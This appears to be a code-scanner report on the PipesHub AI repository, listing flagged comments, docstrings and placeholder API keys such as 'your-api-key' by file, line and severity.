| LOW⚡ | …app/connectors/sources/microsoft/onedrive/connector.py | 1906 | # Step 1: Sync users | COMMENT |
| LOW⚡ | …app/connectors/sources/microsoft/onedrive/connector.py | 1910 | # Step 2: Sync user groups and their members | COMMENT |
| LOW⚡ | …app/connectors/sources/microsoft/onedrive/connector.py | 1914 | # Step 3: Process user drives with yielding for non-blocking operation | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 3802 | # Step 1: Sync users | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 3806 | # Step 2: Sync user groups | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 3814 | # Step 3: Discover and sync sites | COMMENT |
| LOW | …ctors/sources/microsoft/sharepoint_online/connector.py | 3853 | # Step 4: Process sites in batches | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 613 | # Step 1: Get active users from system | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 619 | # Step 2: Fetch and sync Linear users | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 625 | # Step 3: Get team_ids filter and fetch teams | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 643 | # Step 4: Build email map from already-synced users for team member lookup | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 650 | # Step 5: Fetch and sync teams (as both UserGroups and RecordGroups) | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 685 | # Step 8: Sync attachments separately (Linear doesn't update issue.updatedAt when attachments are added) | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 688 | # Step 9: Sync documents separately (Linear doesn't update issue.updatedAt when documents are added) | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 691 | # Step 10: Sync projects | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 694 | # Step 11: Sync deleted issues | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 697 | # Step 12: Sync deleted projects | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 700 | # Step 13: Backfill placeholder parent stubs left by date/incremental filters | COMMENT |
| LOW | …kend/python/app/connectors/sources/linear/connector.py | 668 | # Step 7: Sync issues for teams | COMMENT |
| LOW⚡ | backend/python/app/connectors/sources/rss/connector.py | 406 | # Step 2: Process each feed | COMMENT |
| LOW⚡ | …d/python/app/connectors/sources/bookstack/connector.py | 536 | # Step 1: Sync all users | COMMENT |
| LOW⚡ | …d/python/app/connectors/sources/bookstack/connector.py | 540 | # Step 2: Sync all user groups (roles in BookStack) | COMMENT |
| LOW⚡ | …d/python/app/connectors/sources/bookstack/connector.py | 544 | # Step 3: Sync record groups (books and shelves) | COMMENT |
| LOW⚡ | …d/python/app/connectors/sources/bookstack/connector.py | 548 | # Step 4: Sync all records (pages, chapters, attachments) | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/notion/connector.py | 461 | # Step 1: Sync users | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/notion/connector.py | 464 | # Step 2: Sync all data sources (Search API returns all, regardless of hierarchy) | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/notion/connector.py | 467 | # Step 3: Sync all pages (Search API returns all, regardless of hierarchy) | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/notion/connector.py | 471 | # Step 4: Reconcile parent stubs the passes above left behind. Deliberately | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/notion/connector.py | 1961 | # Step 3: Delegate parsing to NotionBlockParser with callbacks | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/notion/connector.py | 2798 | # Step 1: Batch lookup all external IDs | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/notion/connector.py | 2808 | # Step 2: Build ChildRecord for existing records | COMMENT |
| 132 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | frontend/tests/e2e/README.md | 128 | │ ├── ai-models.helper.ts # a real chat + embedding model for answering tests | CODE |
| MEDIUM | changelog/0.5.0.md | 21 | First-class provider support for OpenRouter ([#2621](https://github.com/pipeshub-ai/pipeshub-ai/pull/2621)) and for Lite | CODE |
| MEDIUM⚡ | changelog/0.1.0-alpha.md | 1 | # 0.1.0-alpha — The founding release: enterprise search platform, RAG pipeline, and a fleet of connectors from zero | COMMENT |
| MEDIUM⚡ | changelog/0.1.0-alpha.md | 7 | This is PipesHub's first public release, and its notes enumerate the project's entire initial development history — near | CODE |
| MEDIUM⚡ | changelog/0.1.0-alpha.md | 17 | ### RAG pipeline: from first Chat API to token-level streaming | COMMENT |
| MEDIUM⚡ | changelog/0.1.0-alpha.md | 19 | The query service grew from an initial Chat API ([#33](https://github.com/pipeshub-ai/pipeshub-ai/pull/33) — @abhishekgm | CODE |
| MEDIUM⚡ | changelog/0.1.0-alpha.md | 35 | Beyond RAG, the release seeds the agent runtime: agent tools ([#522](https://github.com/pipeshub-ai/pipeshub-ai/pull/522 | CODE |
| MEDIUM⚡ | changelog/0.1.0-alpha.md | 35 | Beyond RAG, the release seeds the agent runtime: agent tools ([#522](https://github.com/pipeshub-ai/pipeshub-ai/pull/522 | CODE |
| MEDIUM⚡ | changelog/0.1.0-alpha.md | 35 | Beyond RAG, the release seeds the agent runtime: agent tools ([#522](https://github.com/pipeshub-ai/pipeshub-ai/pull/522 | CODE |
| MEDIUM | …ration-tests/permissions/test_user_lifecycle_access.py | 73 | del ai_models_configured # ordering only: indexing needs an LLM and an embedding model | CODE |
| MEDIUM | integration-tests/permissions/test_team_access.py | 58 | del ai_models_configured # ordering only: indexing needs an LLM and an embedding model | CODE |
| MEDIUM | integration-tests/permissions/test_sharing_access.py | 77 | del ai_models_configured # ordering only: indexing needs an LLM and an embedding model | CODE |
| MEDIUM | …se-search/search/integration_test_permission_matrix.py | 190 | del ai_models_configured # ordering only: indexing needs an LLM and an embedding model | CODE |
| MEDIUM | …alidation/connector/integration_test_record_content.py | 82 | # the per-block Citation ID / Block Index scaffolding is stripped from the string. | COMMENT |
| MEDIUM | integration-tests/helper/ai_models_setup.py | 93 | # Part of the product's refusal to change or delete the embedding model while | COMMENT |
| MEDIUM | …/modules/enterprise_search/validators/es_validators.ts | 447 | // Agent create (POST /agents/create) — gateway guardrails; Python enforces semantics | COMMENT |
| MEDIUM | backend/python/app/query_main.py | 213 | # Warm up the embedding model in the background. The default | COMMENT |
| MEDIUM⚡ | …python/app/connectors/sources/drupal_wiki/connector.py | 371 | # Sync orchestration | COMMENT |
| MEDIUM | …ectors/sources/atlassian/jira_data_center/connector.py | 648 | # "init failed" at the top of the orchestration. | COMMENT |
| MEDIUM⚡ | …/python/app/connectors/sources/slack/team/connector.py | 612 | # 1. Main orchestration | COMMENT |
| MEDIUM⚡ | …n/app/connectors/sources/slack/individual/connector.py | 701 | # 1. Main orchestration | COMMENT |
| MEDIUM | …end/python/app/agent_loop_lib/agent/spawn_scheduler.py | 82 | # the dependent child's context window well under pressure (system prompt | COMMENT |
| MEDIUM | backend/python/app/agent_loop_lib/agent/__init__.py | 799 | # --- Guarded, hook-wrapped LLM call. Parallel guardrails: input | COMMENT |
| MEDIUM | backend/python/app/agent_loop_lib/agent/__init__.py | 800 | # guardrails race the LLM call itself via asyncio.wait(FIRST_EXCEPTION) | COMMENT |
| MEDIUM | …app/agent_loop_lib/modules/providers/budget/pricing.py | 63 | # Total context window per model, in tokens. Drives the Phase 1 context | COMMENT |
| MEDIUM | …n/app/agent_loop_lib/modules/stores/checkpoint/base.py | 38 | messages: list[Message] # full context window at checkpoint time | CODE |
| MEDIUM | backend/python/app/agents/mcp/servers/hubspot.py | 5 | # Developer MCP server used for scaffolding apps/CMS assets locally. | COMMENT |
| MEDIUM⚡ | backend/python/app/agents/agent_loop/section_order.py | 69 | # FRONTIER where the function schemas are sufficient scaffolding. | COMMENT |
| MEDIUM⚡ | …/python/app/agents/agent_loop/skills/semantic_index.py | 49 | # Skill vectors are pure functions of the skill's text and the embedding model, | COMMENT |
| MEDIUM | …ckend/python/app/agents/actions/artifacts/artifacts.py | 432 | # Binary in the context window is wasted tokens at best and can | COMMENT |
| MEDIUM | backend/python/app/utils/render_budget.py | 29 | # Share of the model's context window one fetch may spend. The rest has to | COMMENT |
| MEDIUM | backend/python/app/utils/render_budget.py | 36 | # A model whose configuration reports an optimistic context window -- unknown | COMMENT |
| MEDIUM | backend/python/app/utils/user_errors.py | 444 | # storage wrapper is the embedding model's. | COMMENT |
| MEDIUM | backend/python/app/utils/streaming.py | 713 | # RAG content), the frontend would render attacker-controlled download cards | COMMENT |
| MEDIUM | backend/python/app/utils/streaming.py | 723 | # Short-form variant LLMs sometimes hallucinate (no `(url){meta}` block). | COMMENT |
| MEDIUM | backend/python/app/api/routes/health.py | 1009 | # What the platform assumes when a model's context window is not configured | COMMENT |
| MEDIUM | backend/python/app/api/routes/health.py | 1012 | # and which prompt scaffolding the model gets (`model_tier.py`), so an unset | COMMENT |
| MEDIUM | backend/python/app/api/routes/health.py | 1523 | # Create embedding model | COMMENT |
| MEDIUM | backend/python/app/api/routes/health.py | 1574 | # `isMultimodal` on an embedding model is what makes indexing send | COMMENT |
| MEDIUM | backend/python/app/telemetry/modules/http_metrics.py | 14 | # Buckets span fast cache hits to slow LLM/RAG calls. | COMMENT |
| MEDIUM | …kend/python/app/modules/retrieval/retrieval_service.py | 209 | # Dense embedding model cache: re-read config on every call to detect | COMMENT |
| MEDIUM | backend/python/app/modules/transformers/vectorstore.py | 207 | # actually rejects input is the embedding model's, in *tokens*. The two are not | COMMENT |
| MEDIUM | …nd/python/app/modules/indexing/entity_index_rebuild.py | 80 | # While waiting between ticks, how often to check for an embedding model | COMMENT |
| MEDIUM | …/app/services/embeddings/multimodal/gemini_provider.py | 25 | # gemini-embedding-2 is the first Gemini embedding model that accepts image | COMMENT |
| MEDIUM | …hon/app/services/messaging/kafka/handlers/ai_config.py | 87 | # Refresh the embedding model instance with new configuration | COMMENT |
| MEDIUM | backend/python/app/services/resource_governor/policy.py | 67 | # CPUs withheld from the heavy-parse ceiling when a local embedding model is | COMMENT |
| MEDIUM⚡ | …s/unit/connectors/sources/test_jira_cloud_connector.py | 493 | # run_sync() orchestration | COMMENT |
| MEDIUM⚡ | …rs/sources/test_jira_data_center_personal_connector.py | 256 | # run_sync orchestration | COMMENT |
| MEDIUM⚡ | …t/connectors/sources/test_linear_connector_coverage.py | 878 | # Sync orchestration | COMMENT |
| MEDIUM⚡ | …t/connectors/sources/test_gitlab_personal_connector.py | 546 | # run_sync orchestration | COMMENT |
| MEDIUM⚡ | …connectors/sources/test_web_connector_comprehensive.py | 818 | # Permissions, sync orchestration, crawl/fetch (from gaps coverage merge) | COMMENT |
| MEDIUM⚡ | …/connectors/sources/test_jira_data_center_connector.py | 418 | # run_sync (orchestration smoke) | COMMENT |
| MEDIUM⚡ | …on/tests/unit/connectors/sources/test_web_connector.py | 1279 | # Deep sync: run_sync orchestration | COMMENT |
| MEDIUM⚡ | …ts/unit/connectors/sources/test_deep_sync_bookstack.py | 120 | # run_sync orchestration | COMMENT |
| MEDIUM⚡ | …tests/unit/connectors/sources/test_linear_connector.py | 458 | # LinearConnector - Sync orchestration | COMMENT |
| MEDIUM⚡ | …tests/unit/connectors/sources/test_linear_connector.py | 1350 | # Sync orchestration | COMMENT |
| MEDIUM⚡ | …n/tests/unit/connectors/sources/test_jira_deep_sync.py | 140 | # run_sync orchestration | COMMENT |
| MEDIUM⚡ | …nnectors/sources/test_jira_cloud_personal_connector.py | 288 | # run_sync orchestration | COMMENT |
| MEDIUM⚡ | …tests/unit/connectors/sources/test_linear_deep_sync.py | 131 | # run_sync orchestration | COMMENT |
| MEDIUM⚡ | …ests/unit/connectors/sources/google/test_drive_team.py | 498 | # run_sync orchestration | COMMENT |
| 12 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | frontend/package-lock.json | 15330 | "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.3.tgz", | CODE |
| MEDIUM | frontend/app/mock-data/chat-chunk.json | 3 | "accumulated": "### VAPT Policy Overview\n\nThe VAPT (Vulnerability Assessment and Penetration Testing) policy is an | CODE |
| MEDIUM | frontend/app/mock-data/chat-chunk.json | 3 | "accumulated": "### VAPT Policy Overview\n\nThe VAPT (Vulnerability Assessment and Penetration Testing) policy is an | CODE |
| MEDIUM | frontend/app/mock-data/chat-complete.json | 25 | "content": "### VAPT Policy Overview\n\nThe VAPT (Vulnerability Assessment and Penetration Testing) poli | CODE |
| MEDIUM | frontend/app/mock-data/chat-complete.json | 25 | "content": "### VAPT Policy Overview\n\nThe VAPT (Vulnerability Assessment and Penetration Testing) poli | CODE |
| MEDIUM | frontend/app/mock-data/chat-archived.json | 71 | "content": "## Customer Feedback on Latency Issues\n\n### Overview\nPipesHub has collected various c | CODE |
| MEDIUM | frontend/app/mock-data/chat-archived.json | 118 | "content": "## Customer Feedback on Latency Issues\n\n### Overview\nPipesHub has received various cu | CODE |
| MEDIUM | …/(main)/chat/components/message-area/chat-response.tsx | 497 | // case (trailing text IS the final answer) seamless: it grows in the | COMMENT |
| MEDIUM | integration-tests/pytest.ini | 27 | # AI models, agents, MCP and the agent harness against a real model. Nightly | COMMENT |
| MEDIUM | …gration-tests/connectors/demo/demo_integration_test.py | 64 | # The harness module pulls in only httpx and yaml; the connector module would | COMMENT |
| MEDIUM | integration-tests/connectors/gitlab/conftest.py | 273 | # record permission of the account the harness logs in as, which is only | COMMENT |
| MEDIUM⚡ | …ion-tests/connectors/linear/linear_integration_test.py | 1024 | # TestLinearEdges — comprehensive edge inventory audit | COMMENT |
| LOW | …/response-validation/mcp/golden/mcp_surface_3.0.1.json | 10 | "instructions": "# PipesHub MCP — instructions for the LLM\n\nPipesHub is the user's workplace AI platform. It indexes | CODE |
| LOW | …/response-validation/mcp/golden/mcp_surface_3.0.1.json | 22 | "text": "# PipesHub MCP — instructions for the LLM\n\nPipesHub is the user's workplace AI platform. It indexes the | CODE |
| MEDIUM | integration-tests/helper/conversation_seeds.py | 7 | """Query for a conversation a test needs only in order to have an id to act on. | STRING |
| LOW | …s/core/base/token_service/mcp_token_refresh_service.py | 260 | # the new token's real expiry, and `_last_refresh_time` was just set to | COMMENT |
| MEDIUM | …hon/app/connectors/sources/demo/fixture/acme-corp.yaml | 3 | # One fixture drives two things: the knowledge-base harness (content tuning) | COMMENT |
| MEDIUM | …hon/app/connectors/sources/demo/fixture/acme-corp.yaml | 1636 | # test use; same schema, scored by the same harness. | COMMENT |
| LOW | backend/python/app/connectors/sources/box/connector.py | 1794 | # to 404 and would just add noise. | COMMENT |
| LOW | …d/python/app/connectors/sources/notion/block_parser.py | 260 | # Other mention types (user, page, database, etc.) - just use plain text | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/notion/connector.py | 4474 | # For relation pages without parent, just return ChildRecord with title | COMMENT |
| MEDIUM | …end/python/app/connectors/sources/dropbox/connector.py | 1015 | # A robust implementation would need to look up the record by its path. | COMMENT |
| MEDIUM | …end/python/app/connectors/sources/dropbox/connector.py | 2997 | # Dropbox uses path or file ID for temporary links. ID is more robust. | COMMENT |
| LOW | …/python/app/connectors/sources/salesforce/connector.py | 1271 | # Fallback: just use text if present | COMMENT |
| MEDIUM | …app/connectors/sources/dropbox_individual/connector.py | 1091 | # Dropbox uses path or file ID for temporary links. ID is more robust. | COMMENT |
| LOW | backend/python/app/connectors/api/router.py | 4940 | # No credentials provided but has oauth_app_id - just use existing config | COMMENT |
| MEDIUM | backend/python/app/config/constants/arangodb.py | 644 | # harness (`sandbox_bridge.py`'s POST_TOOL_USE hook) — never asserted | COMMENT |
| MEDIUM | backend/python/app/utils/web_search_tool.py | 48 | """Search using DuckDuckGo HTML endpoint with robust anti-bot evasion (sync I/O).""" | STRING |
| MEDIUM | …thon/app/sources/external/monday/monday_data_source.py | 3342 | """Get comprehensive information about all available methods.""" | STRING |
| MEDIUM | backend/python/app/sources/external/s3/s3.py | 47 | """Handle S3 API response with comprehensive error handling.""" | STRING |
| MEDIUM | …ources/external/microsoft/users_groups/users_groups.py | 114 | """Handle Users Groups API response with comprehensive error handling.""" | STRING |
| MEDIUM | …pp/sources/external/microsoft/sharepoint/sharepoint.py | 189 | """Handle SharePoint API response with comprehensive error handling.""" | STRING |
| MEDIUM | backend/python/app/sources/external/linear/linear.py | 1891 | """Get comprehensive information about all available methods.""" | STRING |
| MEDIUM | backend/python/app/sources/external/minio/minio.py | 57 | """Handle S3 API response with comprehensive error handling.""" | STRING |
| MEDIUM | backend/python/app/sources/client/evernote/evernote.py | 269 | # Use parse_qs for robust parsing of URL-encoded strings. | COMMENT |
| MEDIUM⚡ | backend/python/app/sources/client/azure/azure_blob.py | 160 | return f"https://{account_name}.blob.core.windows.net" # TODO : need to make this work for Azure sovereign c | CODE |
| MEDIUM⚡ | backend/python/app/sources/client/azure/azure_blob.py | 160 | return f"https://{account_name}.blob.core.windows.net" # TODO : need to make this work for Azure sovereign c | CODE |
| MEDIUM | …thon/app/modules/parsers/pdf/opencv_layout_analyzer.py | 434 | # is robust to vote-spreading and a centre that lands on the true | COMMENT |
| MEDIUM | …thon/app/modules/parsers/pdf/opencv_layout_analyzer.py | 598 | # excluding the test window. Median is robust to outliers (a | COMMENT |
| MEDIUM | …thon/app/modules/parsers/pdf/opencv_layout_analyzer.py | 906 | # the peak value -- is robust to that spreading and locates the | COMMENT |
| MEDIUM | …thon/app/modules/parsers/pdf/opencv_layout_analyzer.py | 1075 | # The confidence formula leans on signals that are robust to | COMMENT |
| MEDIUM | …ckend/python/app/services/messaging/lanes/interface.py | 87 | """Every topic a consumer must subscribe to in order to receive all | STRING |
| LOW | …services/messaging/kafka/consumer/indexing_consumer.py | 2719 | # gates above which already just return on shutdown. | COMMENT |
| LOW | …/connectors/sources/test_s3_base_connector_coverage.py | 747 | # Should just return without error | COMMENT |
| LOW⚡ | …s/unit/connectors/sources/test_salesforce_connector.py | 1971 | # Should not raise, just return | COMMENT |
| MEDIUM⚡ | …ectors/sources/test_google_drive_team_comprehensive.py | 344 | # _pass_date_filters (comprehensive) | COMMENT |
| MEDIUM⚡ | …ectors/sources/test_google_drive_team_comprehensive.py | 361 | # _pass_extension_filter (comprehensive) | COMMENT |
| MEDIUM⚡ | …ectors/sources/test_google_drive_team_comprehensive.py | 404 | # _process_drive_item (comprehensive) | COMMENT |
| LOW | …ests/unit/connectors/sources/test_s3_base_connector.py | 736 | # Should just return without error | COMMENT |
| MEDIUM | backend/python/tests/unit/utils/test_url_fetcher.py | 1 | """Tests for app.utils.url_fetcher — robust multi-strategy URL fetcher.""" | STRING |
| LOW | …/unit/modules/parsers/test_markdown_parser_coverage.py | 225 | # Let me just create a unit test that directly exercises the function | COMMENT |
| MEDIUM⚡ | …ervices/messaging/test_kafka_consumer_full_coverage.py | 70 | # __consume_loop -- comprehensive coverage | COMMENT |
| MEDIUM | …ckend/python/tests/evals/answer_judge_calibration.yaml | 2 | # (app/connectors/sources/demo/harness/answer_judge.py). | COMMENT |
| MEDIUM | backend/python/tests/evals/__init__.py | 1 | # Golden eval harness for agent prompt and confidence assertions. | COMMENT |
| MEDIUM⚡ | backend/python/tests/evals/test_scheduled_evals.py | 199 | # The harness marks every case skipped without a runner. A pass rate | COMMENT |
| MEDIUM⚡ | backend/python/tests/evals/test_golden_assertions.py | 332 | # (plus comprehensive reconcile() coverage) | COMMENT |
| MEDIUM | backend/python/code-generator/box.py | 1712 | """Generate a comprehensive coverage report of all Box APIs.""" | STRING |
| MEDIUM | backend/python/code-generator/box.py | 1802 | """Generate comprehensive documentation for the Box API client.""" | STRING |
| MEDIUM | backend/python/code-generator/zendesk.py | 2473 | """Generator for comprehensive Zendesk API datasource class.""" | STRING |
| MEDIUM⚡ | backend/python/code-generator/linear.py | 1080 | # Process queries from comprehensive operations | COMMENT |
| 50 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | backend/python/app/utils/streaming.py | 317 | CODE | |
| MEDIUM | …/sources/test_google_drive_individual_full_coverage.py | 1752 | CODE | |
| MEDIUM | …/sources/test_google_drive_individual_full_coverage.py | 1792 | CODE | |
| MEDIUM | …/sources/test_google_drive_individual_full_coverage.py | 1815 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_jira_cloud_connector.py | 3988 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_gmail_team_connector.py | 3410 | CODE | |
| MEDIUM | …/connectors/sources/test_gmail_individual_connector.py | 236 | CODE | |
| MEDIUM | …nnectors/sources/test_sharepoint_connector_workflow.py | 1070 | CODE | |
| MEDIUM | …nnectors/sources/test_sharepoint_connector_workflow.py | 1684 | CODE | |
| MEDIUM | …nnectors/sources/test_sharepoint_connector_workflow.py | 1724 | CODE | |
| MEDIUM | …nnectors/sources/test_sharepoint_connector_workflow.py | 1747 | CODE | |
| MEDIUM | …nnectors/sources/test_sharepoint_connector_workflow.py | 2038 | CODE | |
| MEDIUM | …/unit/connectors/sources/test_linear_connector_gaps.py | 2034 | CODE | |
| MEDIUM | …on/tests/unit/connectors/sources/test_web_connector.py | 993 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 2706 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 2911 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 3942 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 4280 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 4375 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 4500 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 4574 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 4728 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 5691 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 2053 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_salesforce_connector.py | 8306 | CODE | |
| MEDIUM | …unit/connectors/sources/test_dropbox_connector_deep.py | 716 | CODE | |
| MEDIUM | …nectors/sources/test_zammad_connector_full_coverage.py | 2996 | CODE | |
| MEDIUM | …tests/unit/connectors/sources/test_zammad_connector.py | 1060 | CODE | |
| MEDIUM | …tests/unit/connectors/sources/test_zammad_connector.py | 4281 | CODE | |
| MEDIUM | …tests/unit/connectors/sources/test_linear_connector.py | 3064 | CODE | |
| MEDIUM | …tests/unit/connectors/sources/test_linear_connector.py | 3084 | CODE | |
| MEDIUM | …ts/unit/connectors/sources/test_jira_connector_deep.py | 701 | CODE | |
| MEDIUM | …ests/unit/connectors/sources/test_outlook_connector.py | 405 | CODE | |
| MEDIUM | …n/tests/unit/connectors/sources/test_jira_deep_sync.py | 314 | CODE | |
| MEDIUM | …n/tests/unit/connectors/sources/test_jira_deep_sync.py | 1895 | CODE | |
| MEDIUM | …n/tests/unit/connectors/sources/test_jira_deep_sync.py | 2286 | CODE | |
| MEDIUM | …nectors/sources/test_linear_connector_full_coverage.py | 606 | CODE | |
| MEDIUM | …nectors/sources/test_linear_connector_full_coverage.py | 626 | CODE | |
| MEDIUM | …ors/sources/test_azure_blob_connector_full_coverage.py | 385 | CODE | |
| MEDIUM | …rs/sources/test_jira_data_center_connector_coverage.py | 3022 | CODE | |
| MEDIUM | …connectors/sources/test_sharepoint_online_connector.py | 778 | CODE | |
| MEDIUM | …connectors/sources/test_sharepoint_online_connector.py | 802 | CODE | |
| MEDIUM | …connectors/sources/test_sharepoint_online_connector.py | 826 | CODE | |
| MEDIUM | …connectors/sources/test_sharepoint_online_connector.py | 850 | CODE | |
| MEDIUM | …ests/unit/connectors/sources/test_google_drive_team.py | 3752 | CODE | |
| MEDIUM | …ests/unit/connectors/sources/test_google_drive_team.py | 3775 | CODE | |
| MEDIUM | …ests/unit/connectors/sources/test_google_drive_team.py | 3798 | CODE | |
| MEDIUM | …ests/unit/connectors/sources/test_google_drive_team.py | 3820 | CODE | |
| MEDIUM | …ests/unit/connectors/sources/test_google_drive_team.py | 3845 | CODE | |
| MEDIUM | …ests/unit/connectors/sources/test_google_drive_team.py | 3868 | CODE | |
| MEDIUM | …ests/unit/connectors/sources/test_google_drive_team.py | 3887 | CODE | |
| MEDIUM | …nnectors/sources/test_sharepoint_connector_coverage.py | 877 | CODE | |
| MEDIUM | …nnectors/sources/test_sharepoint_connector_coverage.py | 1024 | CODE | |
| MEDIUM | …nnectors/sources/test_sharepoint_connector_coverage.py | 1257 | CODE | |
| MEDIUM | …s/unit/connectors/sources/test_azure_blob_connector.py | 1682 | CODE | |
| MEDIUM | …nit/connectors/sources/google/test_gmail_individual.py | 3526 | CODE | |
| MEDIUM | …/sources/google/test_gmail_individual_full_coverage.py | 1639 | CODE | |
| MEDIUM | …/unit/connectors/sources/test_gitlab/test_streaming.py | 38 | CODE | |
| MEDIUM | …/unit/connectors/sources/test_gitlab/test_streaming.py | 73 | CODE | |
| MEDIUM | …nit/connectors/sources/test_gitlab/test_attachments.py | 474 | CODE | |
| 57 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …ckend/python/app/agents/actions/freshdesk/freshdesk.py | 103 | CommonFields.api_token("Freshdesk API Key", "your-api-key"), | CODE |
| HIGH | backend/python/app/utils/custom_embeddings.py | 87 | voyage = VoyageEmbeddings(voyage_api_key="your-api-key", model="voyage-2") | STRING |
| HIGH | backend/python/app/sources/external/lumos/example.py | 340 | print(" export LUMOS_API_KEY='your_api_key'") | CODE |
| HIGH | backend/python/app/sources/external/trello/trello.py | 34 | ... api_key="your_api_key", | STRING |
| HIGH | backend/python/code-generator/trello.py | 47 | ... api_key="your_api_key", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …python/app/connectors/core/base/error/stream_errors.py | 106 | # retrievable as requested, which is not a malformed-request 400. | COMMENT |
| HIGH⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 656 | # Explicitly reject non-string types as requested | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …end/python/app/config/encryption/encryption_service.py | 29 | # In this example, algorithm should be "aes-256-gcm" | COMMENT |
| HIGH | …kend/python/app/utils/encryption/encryption_service.py | 28 | # In this example, algorithm should be "aes-256-gcm" | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | frontend/scripts/deploy-dev.sh | 7 | # Usage: | COMMENT |
| LOW | …thon/app/connectors/sources/demo/harness/acceptance.sh | 13 | # Usage: | COMMENT |
| LOW | …end/python/app/config/encryption/encryption_service.py | 84 | # Example usage: | COMMENT |
| LOW | …kend/python/app/utils/encryption/encryption_service.py | 84 | # Example usage: | COMMENT |
| LOW⚡ | deployment/docker-compose/install.sh | 9 | # Usage: | COMMENT |
| LOW | deployment/docker-compose/bootstrap-first-run.sh | 33 | # Usage: | COMMENT |
| LOW | deployment/helm/pipeshub-ai/values-local.yaml | 7 | # Usage: | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | backend/python/code-generator/zoom_specs/Team Chat.json | 1 | {"openapi":"3.0.0","info":{"title":"Team Chat","description":"The Team Chat APIs let developers programmatically interac | CODE |
| MEDIUM | .github/workflows/codeql.yml | 58 | # If you are analyzing a compiled language, you can modify the 'build-mode' for that language to customize how | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | integration-tests/unit/test_run_folder.py | 47 | def helper(): | CODE |
| LOW | …nd/python/app/sources/external/snowflake/snowflake_.py | 1956 | async def execute_task( | CODE |
| LOW | …hon/tests/unit/connectors/core/test_storage_cleanup.py | 121 | def helper(mock_graph_provider, mock_config_service): | CODE |
| LOW | …on/tests/unit/connectors/core/test_graph_data_store.py | 1356 | async def process_data() -> str: | CODE |
| LOW | …s/gitlab_behaviour/test_gitlab_repository_behaviour.py | 44 | assert helpers.external_revision_id == blob_sha(b"def helper():\n return 1\n") | CODE |
| LOW | …it/connectors/sources/gitlab_behaviour/gitlab_world.py | 25 | "src/util/helpers.py": "def helper():\n return 1\n", | CODE |
| LOW | …d/python/tests/unit/modules/parsers/test_parse_pool.py | 177 | source = b"class A:\n def run(self) -> int:\n return 1\n\n\ndef helper():\n return 2\n" | CODE |